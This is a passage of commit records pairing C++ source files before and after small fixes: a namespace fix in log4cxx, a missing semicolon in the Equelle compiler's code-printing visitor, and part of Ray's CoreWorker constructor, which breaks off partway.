{"text":"<commit_before>\/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements.  See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License.  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <log4cxx\/logstring.h>\n#include <log4cxx\/helpers\/threadspecificdata.h>\n#include <log4cxx\/helpers\/exception.h>\n#if !defined(LOG4CXX)\n#define LOG4CXX 1\n#endif\n#include <log4cxx\/helpers\/aprinitializer.h>\n\nusing namespace log4cxx::helpers;\n\n\nThreadSpecificData::ThreadSpecificData()\n    : ndcStack(), mdcMap() {\n}\n\nThreadSpecificData::~ThreadSpecificData() {\n}\n\n\nlog4cxx::NDC::Stack& ThreadSpecificData::getStack() {\n  return ndcStack;\n}\n\nlog4cxx::MDC::Map& ThreadSpecificData::getMap() {\n  return mdcMap;\n}\n\nThreadSpecificData& ThreadSpecificData::getDataNoThreads() {\n    static ThreadSpecificData noThreadData;\n    return noThreadData;\n}\n\nThreadSpecificData* ThreadSpecificData::getCurrentData() {\n#if APR_HAS_THREADS\n  void* pData = NULL;\n  apr_threadkey_private_get(&pData, APRInitializer::getTlsKey());\n  return (ThreadSpecificData*) pData;\n#else\n  return &getDataNoThreads();  \n#endif\n}\n\nvoid ThreadSpecificData::recycle() {\n    if(ndcStack.empty() && mdcMap.empty()) {\n        void* pData = NULL;\n        apr_status_t stat = apr_threadkey_private_get(&pData, APRInitializer::getTlsKey());\n        if (stat == APR_SUCCESS && pData == this) {\n            stat = apr_threadkey_private_set(0, APRInitializer::getTlsKey());\n            if (stat == APR_SUCCESS) {\n                delete this;\n            }\n        }\n    }\n}\n\nvoid ThreadSpecificData::put(const LogString& key, const LogString& val) {\n    ThreadSpecificData* data = getCurrentData();\n    if (data == 0) {\n        data = createCurrentData();\n    }\n    if (data != 0) {\n        data->getMap().insert(log4cxx::MDC::Map::value_type(key, val));\n    }\n}\n\n\n\n\nvoid ThreadSpecificData::push(const LogString& val) {\n    ThreadSpecificData* data = getCurrentData();\n    if (data == 0) {\n        data = createCurrentData();\n    }\n    if (data != 0) {\n        NDC::Stack& stack = data->getStack();\n        if(stack.empty()) {\n            stack.push(NDC::DiagnosticContext(val, val));\n        } else {\n            LogString fullMessage(stack.top().second);\n            fullMessage.append(1, (logchar) 0x20);\n            fullMessage.append(val);\n            stack.push(NDC::DiagnosticContext(val, fullMessage));\n        }\n    }\n}\n\n\n\nThreadSpecificData* ThreadSpecificData::createCurrentData() {\n#if APR_HAS_THREADS\n    ThreadSpecificData* newData = new ThreadSpecificData();\n    apr_status_t stat = apr_threadkey_private_set(newData, APRInitializer::getTlsKey());\n    if (stat != APR_SUCCESS) {\n      delete newData;\n      newData = NULL;\n    }\n    return newData;\n#else\n    return 0;\n#endif\n}\n<commit_msg>LOGCXX-117: Missing using namespace for VC6<commit_after>\/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements.  See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License.  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <log4cxx\/logstring.h>\n#include <log4cxx\/helpers\/threadspecificdata.h>\n#include <log4cxx\/helpers\/exception.h>\n#if !defined(LOG4CXX)\n#define LOG4CXX 1\n#endif\n#include <log4cxx\/helpers\/aprinitializer.h>\n\nusing namespace log4cxx;\nusing namespace log4cxx::helpers;\n\n\nThreadSpecificData::ThreadSpecificData()\n    : ndcStack(), mdcMap() {\n}\n\nThreadSpecificData::~ThreadSpecificData() {\n}\n\n\nlog4cxx::NDC::Stack& ThreadSpecificData::getStack() {\n  return ndcStack;\n}\n\nlog4cxx::MDC::Map& ThreadSpecificData::getMap() {\n  return mdcMap;\n}\n\nThreadSpecificData& ThreadSpecificData::getDataNoThreads() {\n    static ThreadSpecificData noThreadData;\n    return noThreadData;\n}\n\nThreadSpecificData* ThreadSpecificData::getCurrentData() {\n#if APR_HAS_THREADS\n  void* pData = NULL;\n  apr_threadkey_private_get(&pData, APRInitializer::getTlsKey());\n  return (ThreadSpecificData*) pData;\n#else\n  return &getDataNoThreads();  \n#endif\n}\n\nvoid ThreadSpecificData::recycle() {\n    if(ndcStack.empty() && mdcMap.empty()) {\n        void* pData = NULL;\n        apr_status_t stat = apr_threadkey_private_get(&pData, APRInitializer::getTlsKey());\n        if (stat == APR_SUCCESS && pData == this) {\n            stat = apr_threadkey_private_set(0, APRInitializer::getTlsKey());\n            if (stat == APR_SUCCESS) {\n                delete this;\n            }\n        }\n    }\n}\n\nvoid ThreadSpecificData::put(const LogString& key, const LogString& val) {\n    ThreadSpecificData* data = getCurrentData();\n    if (data == 0) {\n        data = createCurrentData();\n    }\n    if (data != 0) {\n        data->getMap().insert(log4cxx::MDC::Map::value_type(key, val));\n    }\n}\n\n\n\n\nvoid ThreadSpecificData::push(const LogString& val) {\n    ThreadSpecificData* data = getCurrentData();\n    if (data == 0) {\n        data = createCurrentData();\n    }\n    if (data != 0) {\n        NDC::Stack& stack = data->getStack();\n        if(stack.empty()) {\n            stack.push(NDC::DiagnosticContext(val, val));\n        } else {\n            LogString fullMessage(stack.top().second);\n            fullMessage.append(1, (logchar) 0x20);\n            fullMessage.append(val);\n            stack.push(NDC::DiagnosticContext(val, fullMessage));\n        }\n    }\n}\n\n\n\nThreadSpecificData* ThreadSpecificData::createCurrentData() {\n#if APR_HAS_THREADS\n    ThreadSpecificData* newData = new ThreadSpecificData();\n    apr_status_t stat = apr_threadkey_private_set(newData, APRInitializer::getTlsKey());\n    if (stat != APR_SUCCESS) {\n      delete newData;\n      newData = NULL;\n    }\n    return newData;\n#else\n    return 0;\n#endif\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n  Copyright 2013 SINTEF ICT, Applied Mathematics.\n*\/\n\n#include \"PrintCPUBackendASTVisitor.hpp\"\n#include \"ASTNodes.hpp\"\n#include \"SymbolTable.hpp\"\n#include <iostream>\n#include <cctype>\n\n\nnamespace\n{\n    const char* cppStartString();\n    const char* cppEndString();\n}\n\n\n\nPrintCPUBackendASTVisitor::PrintCPUBackendASTVisitor()\n    : suppressed_(false), indent_(1), sequence_depth_(0)\n{\n}\n\nPrintCPUBackendASTVisitor::~PrintCPUBackendASTVisitor()\n{\n}\n\n\n\n\n\nvoid PrintCPUBackendASTVisitor::visit(SequenceNode&)\n{\n    if (sequence_depth_ == 0) {\n        \/\/ This is the root node of the program.\n        std::cout << cppStartString();\n        endl();\n    }\n    ++sequence_depth_;\n}\n\nvoid PrintCPUBackendASTVisitor::midVisit(SequenceNode&)\n{\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(SequenceNode&)\n{\n    --sequence_depth_;\n    if (sequence_depth_ == 0) {\n        \/\/ We are back at the root node.\n        std::cout << cppEndString();\n    }\n}\n\nvoid PrintCPUBackendASTVisitor::visit(NumberNode& node)\n{\n    std::cout.precision(16);\n    std::cout << \"double(\" << node.number() << \")\";\n}\n\nvoid PrintCPUBackendASTVisitor::visit(StringNode& node)\n{\n    std::cout << node.content();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(TypeNode&)\n{\n    \/\/ std::cout << SymbolTable::equelleString(node.type());\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncTypeNode&)\n{\n    \/\/ std::cout << node.funcType().equelleString();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(BinaryOpNode&)\n{\n    std::cout << '(';\n}\n\nvoid PrintCPUBackendASTVisitor::midVisit(BinaryOpNode& node)\n{\n    char op = ' ';\n    switch (node.op()) {\n    case Add:\n        op = '+';\n        break;\n    case Subtract:\n        op = '-';\n        break;\n    case Multiply:\n        op = '*';\n        break;\n    case Divide:\n        op = '\/';\n        break;\n    default:\n        break;\n    }\n    std::cout << ' ' << op << ' ';\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(BinaryOpNode&)\n{\n    std::cout << ')';\n}\n\nvoid PrintCPUBackendASTVisitor::visit(NormNode&)\n{\n    std::cout << \"er.norm(\";\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(NormNode&)\n{\n    std::cout << ')';\n}\n\nvoid PrintCPUBackendASTVisitor::visit(UnaryNegationNode&)\n{\n    std::cout << '-';\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(UnaryNegationNode&)\n{\n}\n\nvoid PrintCPUBackendASTVisitor::visit(OnNode&)\n{\n    std::cout << \"er.operatorOn(\";\n}\n\nvoid PrintCPUBackendASTVisitor::midVisit(OnNode&)\n{\n    std::cout << \", \";\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(OnNode&)\n{\n    std::cout << ')';\n}\n\nvoid PrintCPUBackendASTVisitor::visit(TrinaryIfNode&)\n{\n    std::cout << \"er.trinaryIf(\";\n}\n\nvoid PrintCPUBackendASTVisitor::questionMarkVisit(TrinaryIfNode&)\n{\n    std::cout << \", \";\n}\n\nvoid PrintCPUBackendASTVisitor::colonVisit(TrinaryIfNode&)\n{\n    std::cout << \", \";\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(TrinaryIfNode&)\n{\n    std::cout << ')';\n}\n\nvoid PrintCPUBackendASTVisitor::visit(VarDeclNode&)\n{\n    suppress();\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(VarDeclNode&)\n{\n    unsuppress();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(VarAssignNode& node)\n{\n    std::cout << \"const \" << cppTypeString(node.type()) << \" \" << node.name() << \" = \";\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(VarAssignNode&)\n{\n    std::cout << ';';\n    endl();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(VarNode& node)\n{\n    std::cout << node.name();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncRefNode& node)\n{\n    std::cout << node.name();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(JustAnIdentifierNode&)\n{\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncArgsDeclNode&)\n{\n    std::cout << \"{FuncArgsDeclNode::visit()}\";\n}\n\nvoid PrintCPUBackendASTVisitor::midVisit(FuncArgsDeclNode&)\n{\n    std::cout << \"{FuncArgsDeclNode::midVisit()}\";\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(FuncArgsDeclNode&)\n{\n    std::cout << \"{FuncArgsDeclNode::postVisit()}\";\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncDeclNode&)\n{\n    \/\/ std::cout << node.name() << \" : \";\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(FuncDeclNode&)\n{\n    \/\/ endl();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncStartNode& node)\n{\n    std::cout << \"auto \" << node.name() << \" = [&](\";\n    const FunctionType& ft = SymbolTable::getFunction(node.name()).functionType();\n    const size_t n = ft.arguments().size();\n    for (int i = 0; i < n; ++i) {\n        std::cout << cppTypeString(ft.arguments()[i].type())\n                  << ' ' << ft.arguments()[i].name() << std::flush;\n        if (i < n - 1) {\n            std::cout << \", \" << std::flush;\n        }\n    }\n    suppress();\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(FuncStartNode& node)\n{\n    unsuppress();\n    const FunctionType& ft = SymbolTable::getFunction(node.name()).functionType();\n    std::cout << \") -> \" << cppTypeString(ft.returnType()) << \" {\";\n    endl();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncAssignNode&)\n{\n    ++indent_;\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(FuncAssignNode&)\n{\n    std::cout << \"}\";\n    endl();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncArgsNode&)\n{\n}\n\nvoid PrintCPUBackendASTVisitor::midVisit(FuncArgsNode&)\n{\n    if (!suppressed_) {\n        std::cout << \", \";\n    }\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(FuncArgsNode&)\n{\n}\n\nvoid PrintCPUBackendASTVisitor::visit(ReturnStatementNode&)\n{\n    std::cout << \"return \";\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(ReturnStatementNode&)\n{\n    std::cout << ';';\n    --indent_;\n    endl();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncCallNode& node)\n{\n    const std::string fname = node.name();\n    const char first = fname[0];\n    std::string cppname = std::isupper(first) ?\n        std::string(\"er.\") + char(std::tolower(first)) + fname.substr(1)\n        : fname;\n    std::cout << cppname << '(';\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(FuncCallNode&)\n{\n    std::cout << ')';\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncCallStatementNode&)\n{\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(FuncCallStatementNode&)\n{\n    std::cout << ';';\n    endl();\n}\n\n\n\nvoid PrintCPUBackendASTVisitor::endl() const\n{\n    std::cout << '\\n' << indent();\n}\n\nstd::string PrintCPUBackendASTVisitor::indent() const\n{\n    return std::string(indent_*4, ' ');\n}\n\nvoid PrintCPUBackendASTVisitor::suppress()\n{\n    suppressed_ = true;\n}\n\nvoid PrintCPUBackendASTVisitor::unsuppress()\n{\n    suppressed_ = false;\n}\n\nstd::string PrintCPUBackendASTVisitor::cppTypeString(const EquelleType& et) const\n{\n    std::string cppstring = et.isCollection() ? \"CollOf\" : \"\";\n    cppstring += basicTypeString(et.basicType());\n    return cppstring;\n}\n\n\n\nnamespace\n{\n    const char* cppStartString()\n    {\n        return\n\"\\n\"\n\"\/\/ This program was created by the Equelle compiler from SINTEF.\\n\"\n\"\\n\"\n\"#include <opm\/core\/utility\/parameters\/ParameterGroup.hpp>\\n\"\n\"#include <opm\/core\/linalg\/LinearSolverFactory.hpp>\\n\"\n\"#include <opm\/core\/utility\/ErrorMacros.hpp>\\n\"\n\"#include <opm\/autodiff\/AutoDiffBlock.hpp>\\n\"\n\"#include <opm\/autodiff\/AutoDiffHelpers.hpp>\\n\"\n\"#include <opm\/core\/grid.h>\\n\"\n\"#include <opm\/core\/grid\/GridManager.hpp>\\n\"\n\"#include <algorithm>\\n\"\n\"#include <iterator>\\n\"\n\"#include <iostream>\\n\"\n\"#include <cmath>\\n\"\n\"\\n\"\n\"#include \\\"EquelleRuntimeCPU.hpp\\\"\\n\"\n\"\\n\"\n\"int main(int argc, char** argv)\\n\"\n\"{\\n\"\n\"    \/\/ Get user parameters.\\n\"\n\"    Opm::parameter::ParameterGroup param(argc, argv, false);\\n\"\n\"\\n\"\n\"    \/\/ Create the Equelle runtime.\\n\"\n\"    EquelleRuntimeCPU er(param);\\n\"\n\"\\n\"\n\"    \/\/ ============= Generated code starts here ================\\n\";\n    }\n\n    const char* cppEndString()\n    {\n        return \"\\n\"\n\"    \/\/ ============= Generated code ends here ================\\n\"\n\"\\n\"\n\"    return 0;\\n\"\n\"}\\n\";\n    }\n}\n<commit_msg>Add forgotton semicolon after function definition using lambda.<commit_after>\/*\n  Copyright 2013 SINTEF ICT, Applied Mathematics.\n*\/\n\n#include \"PrintCPUBackendASTVisitor.hpp\"\n#include \"ASTNodes.hpp\"\n#include \"SymbolTable.hpp\"\n#include <iostream>\n#include <cctype>\n\n\nnamespace\n{\n    const char* cppStartString();\n    const char* cppEndString();\n}\n\n\n\nPrintCPUBackendASTVisitor::PrintCPUBackendASTVisitor()\n    : suppressed_(false), indent_(1), sequence_depth_(0)\n{\n}\n\nPrintCPUBackendASTVisitor::~PrintCPUBackendASTVisitor()\n{\n}\n\n\n\n\n\nvoid PrintCPUBackendASTVisitor::visit(SequenceNode&)\n{\n    if (sequence_depth_ == 0) {\n        \/\/ This is the root node of the program.\n        std::cout << cppStartString();\n        endl();\n    }\n    ++sequence_depth_;\n}\n\nvoid PrintCPUBackendASTVisitor::midVisit(SequenceNode&)\n{\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(SequenceNode&)\n{\n    --sequence_depth_;\n    if (sequence_depth_ == 0) {\n        \/\/ We are back at the root node.\n        std::cout << cppEndString();\n    }\n}\n\nvoid PrintCPUBackendASTVisitor::visit(NumberNode& node)\n{\n    std::cout.precision(16);\n    std::cout << \"double(\" << node.number() << \")\";\n}\n\nvoid PrintCPUBackendASTVisitor::visit(StringNode& node)\n{\n    std::cout << node.content();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(TypeNode&)\n{\n    \/\/ std::cout << SymbolTable::equelleString(node.type());\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncTypeNode&)\n{\n    \/\/ std::cout << node.funcType().equelleString();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(BinaryOpNode&)\n{\n    std::cout << '(';\n}\n\nvoid PrintCPUBackendASTVisitor::midVisit(BinaryOpNode& node)\n{\n    char op = ' ';\n    switch (node.op()) {\n    case Add:\n        op = '+';\n        break;\n    case Subtract:\n        op = '-';\n        break;\n    case Multiply:\n        op = '*';\n        break;\n    case Divide:\n        op = '\/';\n        break;\n    default:\n        break;\n    }\n    std::cout << ' ' << op << ' ';\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(BinaryOpNode&)\n{\n    std::cout << ')';\n}\n\nvoid PrintCPUBackendASTVisitor::visit(NormNode&)\n{\n    std::cout << \"er.norm(\";\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(NormNode&)\n{\n    std::cout << ')';\n}\n\nvoid PrintCPUBackendASTVisitor::visit(UnaryNegationNode&)\n{\n    std::cout << '-';\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(UnaryNegationNode&)\n{\n}\n\nvoid PrintCPUBackendASTVisitor::visit(OnNode&)\n{\n    std::cout << \"er.operatorOn(\";\n}\n\nvoid PrintCPUBackendASTVisitor::midVisit(OnNode&)\n{\n    std::cout << \", \";\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(OnNode&)\n{\n    std::cout << ')';\n}\n\nvoid PrintCPUBackendASTVisitor::visit(TrinaryIfNode&)\n{\n    std::cout << \"er.trinaryIf(\";\n}\n\nvoid PrintCPUBackendASTVisitor::questionMarkVisit(TrinaryIfNode&)\n{\n    std::cout << \", \";\n}\n\nvoid PrintCPUBackendASTVisitor::colonVisit(TrinaryIfNode&)\n{\n    std::cout << \", \";\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(TrinaryIfNode&)\n{\n    std::cout << ')';\n}\n\nvoid PrintCPUBackendASTVisitor::visit(VarDeclNode&)\n{\n    suppress();\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(VarDeclNode&)\n{\n    unsuppress();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(VarAssignNode& node)\n{\n    std::cout << \"const \" << cppTypeString(node.type()) << \" \" << node.name() << \" = \";\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(VarAssignNode&)\n{\n    std::cout << ';';\n    endl();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(VarNode& node)\n{\n    std::cout << node.name();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncRefNode& node)\n{\n    std::cout << node.name();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(JustAnIdentifierNode&)\n{\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncArgsDeclNode&)\n{\n    std::cout << \"{FuncArgsDeclNode::visit()}\";\n}\n\nvoid PrintCPUBackendASTVisitor::midVisit(FuncArgsDeclNode&)\n{\n    std::cout << \"{FuncArgsDeclNode::midVisit()}\";\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(FuncArgsDeclNode&)\n{\n    std::cout << \"{FuncArgsDeclNode::postVisit()}\";\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncDeclNode&)\n{\n    \/\/ std::cout << node.name() << \" : \";\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(FuncDeclNode&)\n{\n    \/\/ endl();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncStartNode& node)\n{\n    std::cout << \"auto \" << node.name() << \" = [&](\";\n    const FunctionType& ft = SymbolTable::getFunction(node.name()).functionType();\n    const size_t n = ft.arguments().size();\n    for (int i = 0; i < n; ++i) {\n        std::cout << cppTypeString(ft.arguments()[i].type())\n                  << ' ' << ft.arguments()[i].name() << std::flush;\n        if (i < n - 1) {\n            std::cout << \", \" << std::flush;\n        }\n    }\n    suppress();\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(FuncStartNode& node)\n{\n    unsuppress();\n    const FunctionType& ft = SymbolTable::getFunction(node.name()).functionType();\n    std::cout << \") -> \" << cppTypeString(ft.returnType()) << \" {\";\n    endl();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncAssignNode&)\n{\n    ++indent_;\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(FuncAssignNode&)\n{\n    std::cout << \"};\";\n    endl();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncArgsNode&)\n{\n}\n\nvoid PrintCPUBackendASTVisitor::midVisit(FuncArgsNode&)\n{\n    if (!suppressed_) {\n        std::cout << \", \";\n    }\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(FuncArgsNode&)\n{\n}\n\nvoid PrintCPUBackendASTVisitor::visit(ReturnStatementNode&)\n{\n    std::cout << \"return \";\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(ReturnStatementNode&)\n{\n    std::cout << ';';\n    --indent_;\n    endl();\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncCallNode& node)\n{\n    const std::string fname = node.name();\n    const char first = fname[0];\n    std::string cppname = std::isupper(first) ?\n        std::string(\"er.\") + char(std::tolower(first)) + fname.substr(1)\n        : fname;\n    std::cout << cppname << '(';\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(FuncCallNode&)\n{\n    std::cout << ')';\n}\n\nvoid PrintCPUBackendASTVisitor::visit(FuncCallStatementNode&)\n{\n}\n\nvoid PrintCPUBackendASTVisitor::postVisit(FuncCallStatementNode&)\n{\n    std::cout << ';';\n    endl();\n}\n\n\n\nvoid PrintCPUBackendASTVisitor::endl() const\n{\n    std::cout << '\\n' << indent();\n}\n\nstd::string PrintCPUBackendASTVisitor::indent() const\n{\n    return std::string(indent_*4, ' ');\n}\n\nvoid PrintCPUBackendASTVisitor::suppress()\n{\n    suppressed_ = true;\n}\n\nvoid PrintCPUBackendASTVisitor::unsuppress()\n{\n    suppressed_ = false;\n}\n\nstd::string PrintCPUBackendASTVisitor::cppTypeString(const EquelleType& et) const\n{\n    std::string cppstring = et.isCollection() ? \"CollOf\" : \"\";\n    cppstring += basicTypeString(et.basicType());\n    return cppstring;\n}\n\n\n\nnamespace\n{\n    const char* cppStartString()\n    {\n        return\n\"\\n\"\n\"\/\/ This program was created by the Equelle compiler from SINTEF.\\n\"\n\"\\n\"\n\"#include <opm\/core\/utility\/parameters\/ParameterGroup.hpp>\\n\"\n\"#include <opm\/core\/linalg\/LinearSolverFactory.hpp>\\n\"\n\"#include <opm\/core\/utility\/ErrorMacros.hpp>\\n\"\n\"#include <opm\/autodiff\/AutoDiffBlock.hpp>\\n\"\n\"#include <opm\/autodiff\/AutoDiffHelpers.hpp>\\n\"\n\"#include <opm\/core\/grid.h>\\n\"\n\"#include <opm\/core\/grid\/GridManager.hpp>\\n\"\n\"#include <algorithm>\\n\"\n\"#include <iterator>\\n\"\n\"#include <iostream>\\n\"\n\"#include <cmath>\\n\"\n\"\\n\"\n\"#include \\\"EquelleRuntimeCPU.hpp\\\"\\n\"\n\"\\n\"\n\"int main(int argc, char** argv)\\n\"\n\"{\\n\"\n\"    \/\/ Get user parameters.\\n\"\n\"    Opm::parameter::ParameterGroup param(argc, argv, false);\\n\"\n\"\\n\"\n\"    \/\/ Create the Equelle runtime.\\n\"\n\"    EquelleRuntimeCPU er(param);\\n\"\n\"\\n\"\n\"    \/\/ ============= Generated code starts here ================\\n\";\n    }\n\n    const char* cppEndString()\n    {\n        return \"\\n\"\n\"    \/\/ ============= Generated code ends here ================\\n\"\n\"\\n\"\n\"    return 0;\\n\"\n\"}\\n\";\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <boost\/asio\/signal_set.hpp>\n\n#include \"ray\/core_worker\/context.h\"\n#include \"ray\/core_worker\/core_worker.h\"\n\nnamespace ray {\n\nCoreWorker::CoreWorker(\n    const WorkerType worker_type, const Language language,\n    const std::string &store_socket, const std::string &raylet_socket,\n    const JobID &job_id, const gcs::GcsClientOptions &gcs_options,\n    const std::string &log_dir, const std::string &node_ip_address,\n    const CoreWorkerTaskExecutionInterface::TaskExecutor &execution_callback,\n    bool use_memory_store)\n    : worker_type_(worker_type),\n      language_(language),\n      raylet_socket_(raylet_socket),\n      log_dir_(log_dir),\n      worker_context_(worker_type, job_id),\n      io_work_(io_service_) {\n  \/\/ Initialize logging if log_dir is passed. Otherwise, it must be initialized\n  \/\/ and cleaned up by the caller.\n  if (!log_dir_.empty()) {\n    std::stringstream app_name;\n    app_name << LanguageString(language_) << \"-\" << WorkerTypeString(worker_type_) << \"-\"\n             << worker_context_.GetWorkerID();\n    RayLog::StartRayLog(app_name.str(), RayLogLevel::INFO, log_dir_);\n    RayLog::InstallFailureSignalHandler();\n  }\n\n  boost::asio::signal_set sigint(io_service_, SIGINT);\n  sigint.async_wait(\n      [](const boost::system::error_code &error, int signal_number) -> void {\n        if (!error) {\n          RAY_LOG(WARNING) << \"Got SIGINT \" << signal_number << \", ignoring it.\";\n        }\n      });\n\n  boost::asio::signal_set sigterm(io_service_, SIGTERM);\n  sigterm.async_wait(\n      [this](const boost::system::error_code &error, int signal_number) -> void {\n        if (!error) {\n          RAY_LOG(WARNING) << \"Got SIGTERM \" << signal_number << \", shutting down.\";\n          io_service_.stop();\n        }\n      });\n\n  \/\/ Initialize gcs client.\n  gcs_client_ =\n      std::unique_ptr<gcs::RedisGcsClient>(new gcs::RedisGcsClient(gcs_options));\n  RAY_CHECK_OK(gcs_client_->Connect(io_service_));\n\n  \/\/ Initialize profiler.\n  profiler_ = std::make_shared<worker::Profiler>(worker_context_, node_ip_address,\n                                                 io_service_, gcs_client_);\n\n  object_interface_ =\n      std::unique_ptr<CoreWorkerObjectInterface>(new CoreWorkerObjectInterface(\n          worker_context_, raylet_client_, store_socket, use_memory_store));\n  task_interface_ = std::unique_ptr<CoreWorkerTaskInterface>(new CoreWorkerTaskInterface(\n      worker_context_, raylet_client_, *object_interface_, io_service_, *gcs_client_));\n\n  \/\/ Initialize task execution.\n  int rpc_server_port = 0;\n  if (worker_type_ == WorkerType::WORKER) {\n    \/\/ TODO(edoakes): Remove this check once Python core worker migration is complete.\n    if (language != Language::PYTHON || execution_callback != nullptr) {\n      RAY_CHECK(execution_callback != nullptr);\n      task_execution_interface_ = std::unique_ptr<CoreWorkerTaskExecutionInterface>(\n          new CoreWorkerTaskExecutionInterface(worker_context_, raylet_client_,\n                                               *object_interface_, execution_callback));\n      rpc_server_port = task_execution_interface_->worker_server_.GetPort();\n    }\n  }\n\n  \/\/ Initialize raylet client.\n  \/\/ TODO(zhijunfu): currently RayletClient would crash in its constructor if it cannot\n  \/\/ connect to Raylet after a number of retries, this can be changed later\n  \/\/ so that the worker (java\/python .etc) can retrieve and handle the error\n  \/\/ instead of crashing.\n  raylet_client_ = std::unique_ptr<RayletClient>(new RayletClient(\n      raylet_socket_, WorkerID::FromBinary(worker_context_.GetWorkerID().Binary()),\n      (worker_type_ == ray::WorkerType::WORKER), worker_context_.GetCurrentJobID(),\n      language_, rpc_server_port));\n\n  io_thread_ = std::thread(&CoreWorker::StartIOService, this);\n\n  \/\/ Create an entry for the driver task in the task table. This task is\n  \/\/ added immediately with status RUNNING. This allows us to push errors\n  \/\/ related to this driver task back to the driver. For example, if the\n  \/\/ driver creates an object that is later evicted, we should notify the\n  \/\/ user that we're unable to reconstruct the object, since we cannot\n  \/\/ rerun the driver.\n  if (worker_type_ == WorkerType::DRIVER) {\n    TaskSpecBuilder builder;\n    std::vector<std::string> empty_descriptor;\n    std::unordered_map<std::string, double> empty_resources;\n    const TaskID task_id = TaskID::ForDriverTask(worker_context_.GetCurrentJobID());\n    builder.SetCommonTaskSpec(task_id, language_, empty_descriptor,\n                              worker_context_.GetCurrentJobID(),\n                              TaskID::ComputeDriverTaskId(worker_context_.GetWorkerID()),\n                              0, 0, empty_resources, empty_resources);\n\n    std::shared_ptr<gcs::TaskTableData> data = std::make_shared<gcs::TaskTableData>();\n    data->mutable_task()->mutable_task_spec()->CopyFrom(builder.Build().GetMessage());\n    RAY_CHECK_OK(gcs_client_->raylet_task_table().Add(job_id, task_id, data, nullptr));\n    worker_context_.SetCurrentTaskId(task_id);\n  }\n}\n\nCoreWorker::~CoreWorker() {\n  io_service_.stop();\n  io_thread_.join();\n  if (task_execution_interface_) {\n    task_execution_interface_->Stop();\n  }\n  if (log_dir_ != \"\") {\n    RayLog::ShutDownRayLog();\n  }\n}\n\nvoid CoreWorker::Disconnect() {\n  if (gcs_client_) {\n    gcs_client_->Disconnect();\n  }\n  if (raylet_client_) {\n    RAY_IGNORE_EXPR(raylet_client_->Disconnect());\n  }\n}\n\nvoid CoreWorker::StartIOService() { 